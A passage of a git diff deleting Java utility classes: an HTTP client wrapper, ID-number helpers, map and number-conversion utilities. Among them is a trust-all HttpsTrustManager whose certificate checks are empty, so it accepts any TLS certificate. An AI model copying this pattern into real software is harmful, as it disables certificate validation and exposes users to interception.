cm.setDefaultMaxPerRoute(5); // 每路由最大连接数,默认值是2 - } - - /** - * 通过连接池获取HttpClient - * - * @return - */ - private CloseableHttpClient getHttpClient() { - RequestConfig defaultRequestConfig = RequestConfig.custom() - .setSocketTimeout(5000) - .setConnectTimeout(5000) - .setConnectionRequestTimeout(5000000) - .setStaleConnectionCheckEnabled(true) - .build(); - RequestConfig requestConfig = null; - if (StringUtils.isNotBlank(proxyHost) && null != proxyPort) { -// setProxy(new HttpHost("lu7213.6655.la", 57301)) -// setProxy(new HttpHost("127.0.0.1", 19180)) - requestConfig = RequestConfig.copy(defaultRequestConfig).setProxy(new HttpHost(proxyHost, proxyPort)) - .build(); - } else { - requestConfig = RequestConfig.copy(defaultRequestConfig).build(); - } - return HttpClients.custom().setConnectionManager(cm).setDefaultRequestConfig(requestConfig).build(); - } - - private ArrayList covertParams2NVPS(Map params) { - ArrayList pairs = new ArrayList(); - for (Map.Entry param : params.entrySet()) { - pairs.add(new BasicNameValuePair(param.getKey(), String.valueOf(param.getValue()))); - } - return pairs; - } - - /** - * 发送http - * - * @param url - * @param method - * @param headers - * @return - * @throws Exception - */ - public CloseableHttpResponse send(CloseableHttpClient httpClient, String url, String method, Map headers) throws Exception { - URIBuilder ub = new URIBuilder(); - ub.setPath(url); - HttpRequestBase http = null; - if (method.toLowerCase().equals("put")) { - http = new HttpPut(ub.build()); - } - if (method.toLowerCase().equals("post")) { - http = new HttpPost(ub.build()); - } - if (method.toLowerCase().equals("get")) { - http = new HttpGet(ub.build()); - } - if (method.toLowerCase().equals("delete")) { - http = new HttpDelete(ub.build()); - } - for (Map.Entry param : headers.entrySet()) { - http.addHeader(param.getKey(), String.valueOf(param.getValue())); - } - try { - return httpClient.execute(http); - } catch (Exception e) { - throw e; - } - } - - public CloseableHttpResponse send(CloseableHttpClient httpClient, String url, String method) throws Exception { - URIBuilder ub = new URIBuilder(); - ub.setPath(url); - HttpRequestBase http = null; - if (method.toLowerCase().equals("put")) { - http = new HttpPut(ub.build()); - } - if (method.toLowerCase().equals("post")) { - http = new HttpPost(ub.build()); - } - if (method.toLowerCase().equals("get")) { - http = new HttpGet(ub.build()); - } - if (method.toLowerCase().equals("delete")) { - http = new HttpDelete(ub.build()); - } - try { - return httpClient.execute(http); - } catch (Exception e) { - throw e; - } - } - - /** - * 发送http - * - * @param url - * @param method - * @param headers - * @param params - * @return - * @throws Exception - */ - public CloseableHttpResponse send(CloseableHttpClient httpClient, String url, String method, Map headers, Map params) throws Exception { - URIBuilder ub = new URIBuilder(); - ub.setPath(url); - ArrayList pairs = covertParams2NVPS(params); - if (method.toLowerCase().equals("put")) { - ub.setParameters(pairs); - HttpPut http = null; - if (pairs.size() > 0) { - http = new HttpPut(ub.build()); - } else { - http = new HttpPut(url); - } - for (Map.Entry param : headers.entrySet()) { - http.addHeader(param.getKey(), String.valueOf(param.getValue())); - } - return httpClient.execute(http); - } - if (method.toLowerCase().equals("post")) { - ub.setParameters(pairs); - HttpPost http = null; - if (pairs.size() > 0) { - http = new HttpPost(ub.build()); - } else { - http = new HttpPost(url); - } - for (Map.Entry param : headers.entrySet()) { - http.addHeader(param.getKey(), String.valueOf(param.getValue())); - } - http.setEntity(new UrlEncodedFormEntity(pairs, "UTF-8")); - return httpClient.execute(http); - } - if (method.toLowerCase().equals("get")) { - HttpGet http = null; - if (pairs.size() > 0) { - ub.setParameters(pairs); - String path = ub.toString(); - if(path.startsWith("/")) { - http = new HttpGet(path.substring(1)); - }else{ - http = new HttpGet(ub.build()); - } - - } else { - http = new HttpGet(url); - } - for (Map.Entry param : headers.entrySet()) { - http.addHeader(param.getKey(), String.valueOf(param.getValue())); - } -// HttpHost target = new HttpHost(InetAddress.,ub.getHost(),ub.getPort(),ub.getScheme()); - return httpClient.execute(http); - } - if (method.toLowerCase().equals("delete")) { - ub.setParameters(pairs); - HttpDelete http = null; - if (pairs.size() > 0) { - http = new HttpDelete(ub.build()); - } else { - http = new HttpDelete(url); - } - for (Map.Entry param : headers.entrySet()) { - http.addHeader(param.getKey(), String.valueOf(param.getValue())); - } - return httpClient.execute(http); - } - if (method.toLowerCase().equals("options")) { - ub.setParameters(pairs); - HttpOptions http = null; - if (pairs.size() > 0) { - http = new HttpOptions(ub.build()); - } else { - http = new HttpOptions(url); - } - for (Map.Entry param : headers.entrySet()) { - http.addHeader(param.getKey(), String.valueOf(param.getValue())); - } - return httpClient.execute(http); - } - return null; - } - - public ResponseWrapper sendGet(String apiUrl, Map allParams) throws Exception { - URL url = new URL(RequestHelper.constructUrlString(apiUrl, allParams)); - HttpsURLConnection con = (HttpsURLConnection) url.openConnection(); - - con.setRequestMethod("GET"); - con.setRequestProperty("User-Agent", "fbbizsdk-java-v3.3"); - con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); - - return readResponse(con); - } - - private ResponseWrapper readResponse(HttpsURLConnection con) throws Exception { - try { - int responseCode = con.getResponseCode(); - - String header = convertToString(con.getHeaderFields()); - BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); - String inputLine; - StringBuilder response = new StringBuilder(); - - while ((inputLine = in.readLine()) != null) { - response.append(inputLine); - } - in.close(); - return new ResponseWrapper(response.toString(), header); - } catch (Exception e) { - BufferedReader in = new BufferedReader(new InputStreamReader(con.getErrorStream())); - String inputLine; - StringBuilder response = new StringBuilder(); - - while ((inputLine = in.readLine()) != null) { - response.append(inputLine); - } - in.close(); - throw new Exception(response.toString(), e); - } - } - - private String convertToString(Object input) { - if (input == null) { - return "null"; - } else if (input instanceof Map) { - Gson gson = new GsonBuilder() - .excludeFieldsWithModifiers(Modifier.STATIC) - .excludeFieldsWithModifiers(Modifier.PROTECTED) - .disableHtmlEscaping() - .create(); - return gson.toJson((Map) input); - } else if (input instanceof List) { - Gson gson = new GsonBuilder() - .excludeFieldsWithModifiers(Modifier.STATIC) - .excludeFieldsWithModifiers(Modifier.PROTECTED) - .disableHtmlEscaping() - .create(); - return gson.toJson((List) input); - } else { - return input.toString(); - } - } - - /** - * 处理Http请求 - * - * @return - */ - public String getlHttpResult(String url, String method, Map headers, Map params) throws Exception { - CloseableHttpClient tempClient = null; - if (url.startsWith("https")) { - if(httpsClient == null){ - httpsClient = getHttpsClient(); - } - tempClient = httpsClient; - } else { - if(httpClient == null) { - httpClient = getHttpClient(); - } - tempClient = httpClient; - } - CloseableHttpResponse response = this.send(tempClient, url, method, headers, params); - if (method.toLowerCase().equals("options")) { - return response.getStatusLine().getStatusCode() + ""; - } else { - HttpEntity entity = response.getEntity(); - if (entity != null) { - String result = EntityUtils.toString(entity, Charset.forName("UTF-8")); -// httpClient.close(); - response.close(); - return result; - } - return ""; - } - } - - public String getlHttpResultCode(String url, String method, Map headers, Map params) throws Exception { - CloseableHttpClient tempClient = null; - if (url.startsWith("https")) { - if(httpsClient == null){ - httpsClient = getHttpsClient(); - } - tempClient = httpsClient; - } else { - if(httpClient == null) { - httpClient = getHttpClient(); - } - tempClient = httpClient; - } - CloseableHttpResponse response = this.send(tempClient, url, method, headers, params); - return response.getStatusLine().getStatusCode() + ""; - } - - public Boolean testHttp(String url, String method, Map headers, Map params) throws Exception { - CloseableHttpClient tempClient = null; - if (url.startsWith("https")) { - if(httpsClient == null){ - httpsClient = getHttpsClient(); - } - tempClient = httpsClient; - } else { - if(httpClient == null) { - httpClient = getHttpClient(); - } - tempClient = httpClient; - } - CloseableHttpResponse response = this.send(tempClient, url, method, headers, params); - boolean result = response.getStatusLine().getStatusCode() == 200; - response.close(); - return result; - } - - public void clear() { - cm.close(); - } - - public String playLoad(String method, String url, Map headersMap, Object data, String contentType, String charset) throws Exception { - CloseableHttpClient tempClient = null; - if (url.startsWith("https")) { - if(httpsClient == null){ - httpsClient = getHttpsClient(); - } - tempClient = httpsClient; - } else { - if(httpClient == null) { - httpClient = getHttpClient(); - } - tempClient = httpClient; - } - String result = null; - HttpEntityEnclosingRequestBase httpEntityEnclosingRequestBase = null; - if ("post".equalsIgnoreCase(method)) { - httpEntityEnclosingRequestBase = new HttpPost(url); - } else if ("put".equalsIgnoreCase(method)) { - httpEntityEnclosingRequestBase = new HttpPut(url); - } else if ("get".equalsIgnoreCase(method)) { - httpEntityEnclosingRequestBase = new HttpEntityEnclosingRequestBase() { - @Override - public String getMethod() { - return "GET"; - } - }; - httpEntityEnclosingRequestBase.setURI(new URI(url)); - } - for (Map.Entry param : headersMap.entrySet()) { - httpEntityEnclosingRequestBase.addHeader(param.getKey(), String.valueOf(param.getValue())); - } - httpEntityEnclosingRequestBase.addHeader("Content-Type", contentType); - String json = ""; - if (data instanceof String) { - json = String.valueOf(data); - } else { - json = JSONObject.toJSONString(data); - } - StringEntity entity = new StringEntity(json, charset); - // post请求是将参数放在请求体里面传过去的;这里将entity放入post请求体中 - httpEntityEnclosingRequestBase.setEntity(entity); - // 响应模型 - CloseableHttpResponse response = null; - try { - // 由客户端执行(发送)Post请求 - response = (CloseableHttpResponse) tempClient.execute(httpEntityEnclosingRequestBase); - // 从响应模型中获取响应实体 - HttpEntity responseEntity = response.getEntity(); - System.out.println("响应状态为:" + response.getStatusLine()); - if (responseEntity != null) { - result = EntityUtils.toString(responseEntity); - } - } catch (Exception e) { - log.error(e.getMessage()); - } finally { - try { - if (response != null) { - response.close(); - } - } catch (IOException e) { - log.error(e.getMessage()); - } - } - return result; - } - - /** - * 替换指定格式的日期 - * - * @param value - * @return - */ - public String replaceCurDate(String value) { - String cur = formatDate(new Date(), "yyyyMMddHHmm"); - String result = value.replaceAll("\\$\\{yyyyMMddHHmm\\}", cur); - cur = formatDate(new Date(), "yyyyMMddHH"); - result = result.replaceAll("\\$\\{yyyyMMddHH\\}", cur); - cur = formatDate(new Date(), "yyyyMMdd"); - result = result.replaceAll("\\$\\{yyyyMMdd\\}", cur); - cur = formatDate(new Date(), "yyyyMM"); - result = result.replaceAll("\\$\\{yyyyMM\\}", cur); - return result; - } - - public String formatDate(final Date date, final String pattern) { - SimpleDateFormat formatter = new SimpleDateFormat(pattern); - return formatter.format(date); - } -} diff --git a/luqj-common/src/main/java/com/luqj/util/HttpsTrustManager.java b/luqj-common/src/main/java/com/luqj/util/HttpsTrustManager.java deleted file mode 100644 index 8937899..0000000 --- a/luqj-common/src/main/java/com/luqj/util/HttpsTrustManager.java +++ /dev/null @@ -1,28 +0,0 @@ -package com.luqj.util; - -import javax.net.ssl.X509TrustManager; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; - -public class HttpsTrustManager implements X509TrustManager { - - @Override - public void checkClientTrusted(X509Certificate[] arg0, String arg1) - throws CertificateException { - // TODO Auto-generated method stub - - } - - @Override - public void checkServerTrusted(X509Certificate[] arg0, String arg1) - throws CertificateException { - // TODO Auto-generated method stub - - } - - @Override - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[]{}; - } - -} \ No newline at end of file diff --git a/luqj-common/src/main/java/com/luqj/util/IdentificationNumberUtils.java b/luqj-common/src/main/java/com/luqj/util/IdentificationNumberUtils.java deleted file mode 100644 index c3798c7..0000000 --- a/luqj-common/src/main/java/com/luqj/util/IdentificationNumberUtils.java +++ /dev/null @@ -1,322 +0,0 @@ -package com.luqj.util; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.text.SimpleDateFormat; -import java.util.Calendar; -import java.util.Date; - -/** - * Created: 2016/7/5. - * Author: Qiannan Lu - */ -public class IdentificationNumberUtils { - private final static Logger logger = LoggerFactory.getLogger(IdentificationNumberUtils.class); - - /** - * 获取身份证号的出生日期字符串 - * - * @param idCard 身份证号 - * @return 出生日期字符串 - */ - public static String birthday(String idCard) { - if (StringUtils.isBlank(idCard) - || idCard.length() <= 14) { - logger.error("传入身份证号{}位数不对!", idCard); - return null; - } - - return id15ToId18(idCard).substring(6, 14); - } - - /** - * 获取身份证号的出生日期 - * - * @param idCard 身份证号 - * @return 出生日期 - */ - public static Date birthDate(String idCard) { - - String birthDay = birthday(idCard); - - if (birthDay == null) return null; - try { - return new SimpleDateFormat("yyyyMMdd").parse(birthDay); - } catch (Exception e) { - logger.error("提取身份证号{}出生日期出错", idCard, e); - return null; - } - } - - /** - * 获取身份证号的年份信息 - * - * @param idCard 身份证号 - * @return 年份信息 - */ - public static String year(String idCard) { - Calendar calendar = getBirthDateCalendar(idCard); - - return calendar == null ? null : Integer.toString(calendar.get(Calendar.YEAR)); - } - - /** - * 获取身份证号的月份信息 从1月开始 - * - * @param idCard 身份证号 - * @return 月份信息 - */ - public static String month(String idCard) { - Calendar calendar = getBirthDateCalendar(idCard); - - return calendar == null ? null : Integer.toString(calendar.get(Calendar.MONTH) + 1); - } - - /** - * 获取身份证号的日期信息 月份中的日期 - * - * @param idCard 身份证号 - * @return 日期信息 - */ - public static String day(String idCard) { - Calendar calendar = getBirthDateCalendar(idCard); - - return calendar == null ? null : Integer.toString(calendar.get(Calendar.DATE)); - } - - /** - * 获取身份证号的日期信息 一年中的日期 - * - * @param idCard 身份证号 - * @return 日期信息 - */ - public static String dayOfYear(String idCard) { - - Calendar calendar = getBirthDateCalendar(idCard); - - return calendar == null ? null : Integer.toString(calendar.get(Calendar.DAY_OF_YEAR)); - } - - /** - * 获取身份证号的出生日期信息 - * - * @param idCard 身份证号 - * @return 出生日期 - */ - private static Calendar getBirthDateCalendar(String idCard) { - Date birthDate = birthDate(idCard); - - if (birthDate == null) return null; - - Calendar calendar = Calendar.getInstance(); - calendar.setTime(birthDate); - return calendar; - } - - /** - * 18位身份证转15位. - * - * @param id18 18为身份证号 - * @return 15位身份证号 - */ - public static String id18ToId15(String id18) { - return id18.substring(0, 6) + id18.substring(8, 17); - } - - /** - * 15位身份证转18位. - * - * @param id15 15位身份证号 - * @return 18位身份证号 - */ - public static String id15ToId18(String id15) { - int IdLength = id15.length(); - String id18; - switch (IdLength) { - case 15: - String serial = id15.substring(IdLength - 3); - if (serial.equals("996") || serial.equals("997") || serial.equals("998") || serial.equals("999")) { - id18 = id15.substring(0, 6) + "18" + id15.substring(IdLength - 9); - } else { - id18 = id15.substring(0, 6) + "19" + id15.substring(IdLength - 9); - } - id18 = id18 + getIdCheckBit(id18); - break; - case 17: - id18 = id15 + getIdCheckBit(id15); - break; - case 18: - id18 = id15; - break; - default: - id18 = id15; - } - return id18; - } - - /** - * 判断传入的字符串是否是身份证号,如果是18位 会判断最后一位标志位 - * 如果是15位则返回false - * - * @param idCard 身份证号 - * @return 是否是真是身份证号 - */ - public static boolean isValid(String idCard) { - - boolean isLooksLike = isLooksLike(idCard); - - if (isLooksLike && idCard.length() == 18) { - String x = getIdCheckBit(idCard); - if (x.equals("" + idCard.charAt(17))) - return true; - } - return false; - } - - /** - * 判断传入的字符串(15位或者18位)是否是身份证号,其他直接返回false - * @param idCard 身份证号 - * @return 是否是真是身份证号 - */ - public static boolean checkIsIdCard(String idCard) { - boolean isLooksLike = isLooksLike(idCard); - if (isLooksLike && idCard.length() == 18) { - String x = getIdCheckBit(idCard); - if (x.equals("" + idCard.charAt(17))) - return true; - } - if (isLooksLike && idCard.length() == 15) { - String x = getIdCheckBit(id15ToId18(idCard)); - if (x.equals("" + id15ToId18(idCard).charAt(17))) - return true; - } - return false; - } - - /** - * 判断传入的字符串是否像是身份证号,只会判断出身年月信息 - * - * @param idCard 身份证号 - * @return 是否像身份证号 - */ - public static boolean isLooksLike(String idCard) { - if (idCard.length() == 15) { - - String birthday = idCard.substring(6, 12); - - return isYear(birthday.substring(0, 2)) && isMonth(birthday.substring(2, 4)) && isDay(birthday.substring(4, 6)); - } else if (idCard.length() == 18) { - String birthday = idCard.substring(6, 14); - return isYear(birthday.substring(0, 4)) && isMonth(birthday.substring(4, 6)) && isDay(birthday.substring(6, 8)); - } - return false; - } - - /** - * 判断数字是否符合年份 - * - * @param year 数字 - */ - private static boolean isYear(String year) { - if (year.length() == 4) { - try { - int y = Integer.parseInt(year); - if (y < 1900 || y > 2100) { - return false; - } - } catch (Exception e) { - return false; - } - } - return true; - } - - /** - * 判断数字是否符合月份 - * - * @param month 数字 - */ - private static boolean isMonth(String month) { - try { - int m = Integer.parseInt(month); - if (m < 1 || m > 12) { - return false; - } - } catch (Exception e) { - return false; - } - return true; - } - - /** - * 判断数字是否符合日期 - * - * @param day 数字 - */ - private static boolean isDay(String day) { - try { - int d = Integer.parseInt(day); - if (d < 1 || d > 31) { - return false; - } - } catch (Exception e) { - return false; - } - return true; - } - - /** - * 获取18位身份证号的校验位 - * - * @param id18 18位身份证号 - * @return 校验位 - */ - public static String getIdCheckBit(String id18) { - String[] strCheckChar = new String[11]; - int[] nWeight = new int[18]; - strCheckChar[0] = "1"; - strCheckChar[1] = "0"; - strCheckChar[2] = "X"; - strCheckChar[3] = "9"; - strCheckChar[4] = "8"; - strCheckChar[5] = "7"; - strCheckChar[6] = "6"; - strCheckChar[7] = "5"; - strCheckChar[8] = "4"; - strCheckChar[9] = "3"; - strCheckChar[10] = "2"; - - nWeight[0] = 7; - nWeight[1] = 9; - nWeight[2] = 10; - nWeight[3] = 5; - nWeight[4] = 8; - nWeight[5] = 4; - nWeight[6] = 2; - nWeight[7] = 1; - nWeight[8] = 6; - nWeight[9] = 3; - nWeight[10] = 7; - nWeight[11] = 9; - nWeight[12] = 10; - nWeight[13] = 5; - nWeight[14] = 8; - nWeight[15] = 4; - nWeight[16] = 2; - nWeight[17] = 1; - - int sumMulti = 0; - for (int i = 0; i <= 16; i++) { - String ch = id18.substring(i, i + 1); - sumMulti = sumMulti + (Integer.parseInt(ch) * nWeight[i]); - } - int resultMod = sumMulti % 11; - return strCheckChar[resultMod]; - } - - - public static void main(String[] args) { - - } -} diff --git a/luqj-common/src/main/java/com/luqj/util/LinkedMultiValueMap.java b/luqj-common/src/main/java/com/luqj/util/LinkedMultiValueMap.java deleted file mode 100644 index a5a6c0f..0000000 --- a/luqj-common/src/main/java/com/luqj/util/LinkedMultiValueMap.java +++ /dev/null @@ -1,169 +0,0 @@ -/* - * Copyright 2002-2010 the original author or authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.luqj.util; - -import java.io.Serializable; -import java.util.*; - -/** - * Simple implementation of {@link MultiValueMap} that wraps a {@link LinkedHashMap}, - * storing multiple values in a {@link LinkedList}. - * - *

This Map implementation is generally not thread-safe. It is primarily designed - * for data structures exposed from request objects, for use in a single thread only. - * - * @author Arjen Poutsma - * @author Juergen Hoeller - * @since 3.0 - */ -public class LinkedMultiValueMap implements MultiValueMap, Serializable { - - private static final long serialVersionUID = 3801124242820219131L; - - private final Map> targetMap; - - - /** - * Create a new LinkedMultiValueMap that wraps a {@link LinkedHashMap}. - */ - public LinkedMultiValueMap() { - this.targetMap = new LinkedHashMap>(); - } - - /** - * Create a new LinkedMultiValueMap that wraps a {@link LinkedHashMap} - * with the given initial capacity. - * @param initialCapacity the initial capacity - */ - public LinkedMultiValueMap(int initialCapacity) { - this.targetMap = new LinkedHashMap>(initialCapacity); - } - - /** - * Copy constructor: Create a new LinkedMultiValueMap with the same mappings - * as the specified Map. - * @param otherMap the Map whose mappings are to be placed in this Map - */ - public LinkedMultiValueMap(Map> otherMap) { - this.targetMap = new LinkedHashMap>(otherMap); - } - - - // MultiValueMap implementation - - public void add(K key, V value) { - List values = this.targetMap.get(key); - if (values == null) { - values = new LinkedList(); - this.targetMap.put(key, values); - } - values.add(value); - } - - public V getFirst(K key) { - List values = this.targetMap.get(key); - return (values != null ? values.get(0) : null); - } - - public void set(K key, V value) { - List values = new LinkedList(); - values.add(value); - this.targetMap.put(key, values); - } - - public void setAll(Map values) { - for (Entry entry : values.entrySet()) { - set(entry.getKey(), entry.getValue()); - } - } - - public Map toSingleValueMap() { - LinkedHashMap singleValueMap = new LinkedHashMap(this.targetMap.size()); - for (Entry> entry : targetMap.entrySet()) { - singleValueMap.put(entry.getKey(), entry.getValue().get(0)); - } - return singleValueMap; - } - - - // Map implementation - - public int size() { - return this.targetMap.size(); - } - - public boolean isEmpty() { - return this.targetMap.isEmpty(); - } - - public boolean containsKey(Object key) { - return this.targetMap.containsKey(key); - } - - public boolean containsValue(Object value) { - return this.targetMap.containsValue(value); - } - - public List get(Object key) { - return this.targetMap.get(key); - } - - public List put(K key, List value) { - return this.targetMap.put(key, value); - } - - public List remove(Object key) { - return this.targetMap.remove(key); - } - - public void putAll(Map> m) { - this.targetMap.putAll(m); - } - - public void clear() { - this.targetMap.clear(); - } - - public Set keySet() { - return this.targetMap.keySet(); - } - - public Collection> values() { - return this.targetMap.values(); - } - - public Set>> entrySet() { - return this.targetMap.entrySet(); - } - - - @Override - public boolean equals(Object obj) { - return this.targetMap.equals(obj); - } - - @Override - public int hashCode() { - return this.targetMap.hashCode(); - } - - @Override - public String toString() { - return this.targetMap.toString(); - } - -} diff --git a/luqj-common/src/main/java/com/luqj/util/MapSortUtil.java b/luqj-common/src/main/java/com/luqj/util/MapSortUtil.java deleted file mode 100644 index f03a258..0000000 --- a/luqj-common/src/main/java/com/luqj/util/MapSortUtil.java +++ /dev/null @@ -1,153 +0,0 @@ -package com.luqj.util; - -import java.util.*; - -/** - * Created by lucheng on 2017/8/23. - */ -public class MapSortUtil { - /** - * 使用 Map按key进行排序 - * - * @param map - * @return - */ - public static TreeMap sortMapByKey(Map map, String direction) { - if (map == null || map.isEmpty()) { - return null; - } - - TreeMap sortMap = new TreeMap( - new MapKeyComparator(direction)); - - sortMap.putAll(map); - - return sortMap; - } - - - /** - * 使用 Map按value进行排序 - * @param oriMap - * @param direction - * @return - */ - public static Map sortMapByValue(Map oriMap, String direction) { - if (oriMap == null || oriMap.isEmpty()) { - return null; - } - Map sortedMap = new LinkedHashMap(); - List> entryList = new ArrayList>( - oriMap.entrySet()); - Collections.sort(entryList, new MapValueComparator(direction)); - - Iterator> iter = entryList.iterator(); - Map.Entry tmpEntry = null; - while (iter.hasNext()) { - tmpEntry = iter.next(); - sortedMap.put(tmpEntry.getKey(), tmpEntry.getValue()); - } - return sortedMap; - } - - /** - * 返回某个index对应的值 - * - * @param map - * @param index - * @return - */ - public static Double getKeyByIndex(Map map, int index) { - int sumCount = 0; - Double result = null; - for (Map.Entry newEntry : map.entrySet()) { - Double number = newEntry.getKey(); - Integer count = newEntry.getValue(); - sumCount += count; - if (index <= sumCount) { - result = number; - break; - } - } - return result; - } - - public static class MapKeyComparator implements Comparator { - - private String direction; - - public MapKeyComparator(String direction) { - this.direction = direction; - } - - @Override - public int compare(Double o1, Double o2) { - if ("DESC".equals(direction)) - return o2.compareTo(o1); // 降序 - else - return o1.compareTo(o2); - } - - public String getDirection() { - return direction; - } - - public void setDirection(String direction) { - this.direction = direction; - } - } - - public static class MapValueComparator implements Comparator> { - - private String direction; - - public MapValueComparator(String direction) { - this.direction = direction; - } - - @Override - public int compare(Map.Entry o1, Map.Entry o2) { - if ("DESC".equals(direction)) - return o2.getValue().compareTo(o1.getValue()); // 降序 - else - return o1.getValue().compareTo(o2.getValue()); - } - - public String getDirection() { - return direction; - } - - public void setDirection(String direction) { - this.direction = direction; - } - - } - - - public static void main(String args[]) { - Map map = new HashMap<>(); - map.put(100.21, 10); - map.put(120.21, 20); - map.put(104.21, 30); - map.put(99.32, 70); - map.put(114.22, 45); - - TreeMap newMap = sortMapByKey(map, "DESC"); - System.out.println("after sortByKey:"); - for (Map.Entry entry : newMap.entrySet()) { - System.out.println("key:" + entry.getKey() + ",value:" + entry.getValue()); - } - System.out.println("lastKey:" + newMap.lastKey()); - System.out.println("lastEntry:" + newMap.lastEntry().getValue()); - - Map valueMap = sortMapByValue(map, "DESC"); - System.out.println("---------------------------"); - System.out.println("after sortByValue:"); - for (Map.Entry entry : valueMap.entrySet()) { - System.out.println("key:" + entry.getKey() + ",value:" + entry.getValue()); - } - System.out.println("firstKey:" + valueMap.entrySet().iterator().next().getKey()); - System.out.println("firstValue:" + valueMap.entrySet().iterator().next().getValue()); - } - -} diff --git a/luqj-common/src/main/java/com/luqj/util/MultiValueMap.java b/luqj-common/src/main/java/com/luqj/util/MultiValueMap.java deleted file mode 100644 index f3fffc5..0000000 --- a/luqj-common/src/main/java/com/luqj/util/MultiValueMap.java +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright 2002-2009 the original author or authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.luqj.util; - -import java.util.List; -import java.util.Map; - -/** - * Extension of the {@code Map} interface that stores multiple values. - * - * @author Arjen Poutsma - * @since 3.0 - */ -public interface MultiValueMap extends Map> { - - /** - * Return the first value for the given key. - * @param key the key - * @return the first value for the specified key, or null - */ - V getFirst(K key); - - /** - * Add the given single value to the current list of values for the given key. - * @param key the key - * @param value the value to be added - */ - void add(K key, V value); - - /** - * Set the given single value under the given key. - * @param key the key - * @param value the value to set - */ - void set(K key, V value); - - /** - * Set the given values under. - * @param values the values. - */ - void setAll(Map values); - - /** - * Returns the first values contained in this {@code MultiValueMap}. - * @return a single value representation of this map - */ - Map toSingleValueMap(); - -} diff --git a/luqj-common/src/main/java/com/luqj/util/NumFormat.java b/luqj-common/src/main/java/com/luqj/util/NumFormat.java deleted file mode 100644 index 85a3949..0000000 --- a/luqj-common/src/main/java/com/luqj/util/NumFormat.java +++ /dev/null @@ -1,460 +0,0 @@ -package com.luqj.util; - - - -import com.luqj.util.assertion.Assert; - -import java.math.BigDecimal; -import java.math.BigInteger; -import java.sql.Date; -import java.sql.Timestamp; -import java.text.DecimalFormat; - -public abstract class NumFormat { - - /** - * 设置double类型的精确度 - * @param scale 小数点后保留的位数 - * @param number 要精确度的值 - * @return - */ - public static double setScale(double number,int scale){ - if(Double.isNaN(number)){ - return 0; - } - if(Double.isInfinite(number)){ - return 0; - } - return new BigDecimal(number).setScale(scale,BigDecimal.ROUND_HALF_UP).doubleValue(); - } - - /** - * 将NUMBER转换成String如果value为Null则返回空字符串 - * @param value - * @return - * @author:lwei - */ - public static String toString(Number value){ - return value == null ? "" : value.toString(); - } - - /** - * 将Date转换成Long - * @param value - * @return - */ - public static long $Date(Object value) { - if(value == null){ - return 0; - } - if(value instanceof Date) { - return ((Date) value).getTime(); - } - return $Long(value.toString()); - } - - /** - * 将Timestamp转换成Long - * @param value - * @return - */ - public static long $Timestamp(Object value) { - if(value == null){ - return 0; - } - if(value instanceof Timestamp) { - return ((Timestamp) value).getTime(); - } - return $Long(value.toString()); - } - - /** - * 将类型转换为LONG - * @param value - * @return - */ - public static long $Long(Long value){ - return value != null ? value.longValue() : 0; - } - - /** - * 将类型转换为LONG - * @param value - * @return - */ - public static long $Long(String value){ - return Validator.hasText(value) ? Long.valueOf(value.trim()) : 0; - } - - /** - * 将类型转换为LONG - * @param value - * @return - */ - public static long $Long(Object value){ - if(value == null){ - return 0; - } - if(value instanceof Long) { - return (Long)value; - } - return $Long(value.toString()); - } - - public static long $Long(BigDecimal value){ - return value != null ? value.longValue() : 0; - } - - public static long $Long(BigInteger value){ - return value != null ? value.longValue() : 0; - } - - - public static long $Long(Double value){ - return value != null ? value.longValue() : 0; - } - - public static int $Intger(Integer value){ - return value != null ? value.intValue() : 0; - } - - public static int $Intger(Double value){ - return value != null ? value.intValue() : 0; - } - - public static int $Intger(String value){ - return Validator.hasText(value) ? Integer.valueOf(value.trim()) : 0; - } - - public static int $Intger(Object value){ - if(value == null){ - return 0; - } - if(value instanceof Integer) { - return (Integer)value; - } - return $Intger(value.toString()); - } - - public static int $Intger(BigDecimal value){ - return value != null ? value.intValue() : 0; - } - - public static int $Intger(BigInteger value){ - return value != null ? value.intValue() : 0; - } - - - public static double $Double(Double value){ - return value != null ? value.doubleValue() : 0; - } - - public static double $Double(String value){ - return Validator.hasText(value) ? Double.valueOf(value.trim()) : 0; - } - - public static double $Double(BigDecimal value){ - return value != null ? value.doubleValue() : 0; - } - - public static double $Double(BigInteger value){ - return value != null ? value.doubleValue() : 0; - } - - public static double $Double(Object value){ - if(value == null){ - return 0; - } - if(value instanceof Double) { - return (Double)value; - } - return $Double(value.toString()); - } - - - - - public static float $Float(Float value){ - return value != null ? value.floatValue() : 0; - } - - public static double $Float(String value){ - return Validator.hasText(value) ? Float.valueOf(value.trim()) : 0; - } - - public static double $Float(BigDecimal value){ - return value != null ? value.floatValue() : 0; - } - - public static double $Float(BigInteger value){ - return value != null ? value.floatValue() : 0; - } - - public static double $Float(Object value){ - if(value == null){ - return 0; - } - if(value instanceof Float) { - return (Float)value; - } - return $Float(value.toString()); - } - - public static short $Short(Short value){ - return value != null ? value.shortValue() : 0; - } - - public static short $Short(String value){ - return Validator.hasText(value) ? Short.valueOf(value.trim()) : 0; - } - - public static short $Short(BigDecimal value){ - return value != null ? value.shortValue() : 0; - } - - public static short $Short(BigInteger value){ - return value != null ? value.shortValue() : 0; - } - - public static short $Short(Object value){ - if(value == null){ - return 0; - } - if(value instanceof Short) { - return (Short)value; - } - return $Short(value.toString()); - } - - public static byte $Byte(Byte value){ - return value != null ? value.byteValue() : 0; - } - - public static byte $Byte(BigDecimal value){ - return value != null ? value.byteValue() : 0; - } - - public static byte $Byte(BigInteger value){ - return value != null ? value.byteValue() : 0; - } - - 